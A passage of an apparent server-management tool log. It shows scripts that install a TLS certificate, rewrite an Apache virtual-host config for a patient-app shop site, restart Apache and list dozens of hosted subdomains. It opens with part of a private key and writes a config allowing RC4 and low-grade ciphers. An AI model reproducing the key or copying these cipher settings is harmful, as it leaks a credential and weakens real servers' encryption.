XO1h93szpEhzXT6OMzPPAt+hwu3Rn7gAwSb6agPJd+9PiQIHS+yrILG6fkjRvKig
zBhgadr3JQVRmD49fO3and8OaPyvnIV2djYuawABEPrQGEXWeSBvTJEdOrQ0qi1+
yZ/kNQOrxQKBgHfbHYfC8eeH6fUFySVsg16RYpEHcC5HmtwUpP4CzWmAqCHmybJ7
ly+tMekU9D0JGWWmSlRRf7QFQDBGSpnlb2nZBFP5jH2Km03RKErCZlZRzaacILG1
Z4sKGCI13JJ09WD09nWDZp8tUqUHrYOnaNsPJeUc7BSvssYZUjFUkqWrAoGABtjn
Jql5T8jgOVtvEVaBRaeOaVlsh+wqOI5pVSQs0L7rmcwJxf7RBlSs+JYM7zDcjkHT
PNCFwYERycnX5E/QyLJyzJthYnReCbnUUFMO5b02WMSzwao/3Un71WkId/CuxAQR
tCTawi5Cat9yZyxnMuYPoSyQSXEZwad9fbd2oJUCgYBSfGbbIxg8dnWSJMGj02Fj
/3Mcmho24f3VJS4hnQdR/3HylhSbZ1DfXrf5h+vsu0UfOXYXLkPzZvZ5Q2pf8NJA
HvKDN+AhNGF0JaoiXwsd+q2/PtFP0/dCh3GElTbjpEXdC0W74O0AOFEjUqw1oJhm
Cgh14Z1QafoVRu5Uy99T3g==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-10 22:44:41:
chmod 755 /tmp/pkp518188; /tmp/pkp518188; rm /tmp/pkp518188
2025-12-10 22:44:41:
dir=/etc/ssl/certs
2025-12-10 22:44:41:
PUT: /tmp/pkp875906
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_shop_co.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-10 22:44:41:
chmod 755 /tmp/pkp875906; /tmp/pkp875906; rm /tmp/pkp875906
2025-12-10 22:44:41:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_shop_co.conf 43
<VirtualHost *:80>
ServerName shop.patientapps.co
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_shop
<Directory /var/www/patientapps_shop>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/shop_access.log combined
ErrorLog /var/log/apache2/patientapps/shop_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
SetEnv ENV sandbox
DirectoryIndex index.php index.html index.htm
</VirtualHost>
<VirtualHost *:443>
ServerName shop.patientapps.co
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
DocumentRoot /var/www/patientapps_shop
<Directory /var/www/patientapps_shop>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/shop_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/shop_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
SetEnv ENV sandbox
DirectoryIndex index.php index.html index.htm
</VirtualHost>
2025-12-10 22:44:41:
PUT: /tmp/pkp878899
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_shop_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_shop_co.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName shop.patientapps.co
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_shop
<Directory /var/www/patientapps_shop>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/shop_access.log combined
ErrorLog /var/log/apache2/patientapps/shop_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
SetEnv ENV sandbox
DirectoryIndex index.php index.html index.htm
</VirtualHost>
<VirtualHost *:443>
ServerName shop.patientapps.co
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
DocumentRoot /var/www/patientapps_shop
<Directory /var/www/patientapps_shop>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/shop_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/shop_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
SetEnv ENV sandbox
DirectoryIndex index.php index.html index.htm
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_shop_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_shop_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_shop_co.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_shop_co.conf= 1'
fi
2025-12-10 22:44:41:
chmod 755 /tmp/pkp878899; /tmp/pkp878899; rm /tmp/pkp878899
2025-12-10 22:44:41:
2025-12-10 22:44:41:
PUT: /tmp/pkp775844
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-10 22:44:41:
chmod 755 /tmp/pkp775844; /tmp/pkp775844; rm /tmp/pkp775844
2025-12-10 22:44:41:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-10 22:44:41: Establishing a connection
2025-12-10 22:44:41:
PUT: /tmp/pkp916456
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-10 22:44:41:
chmod 755 /tmp/pkp916456; /tmp/pkp916456; rm /tmp/pkp916456
2025-12-10 22:44:41:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
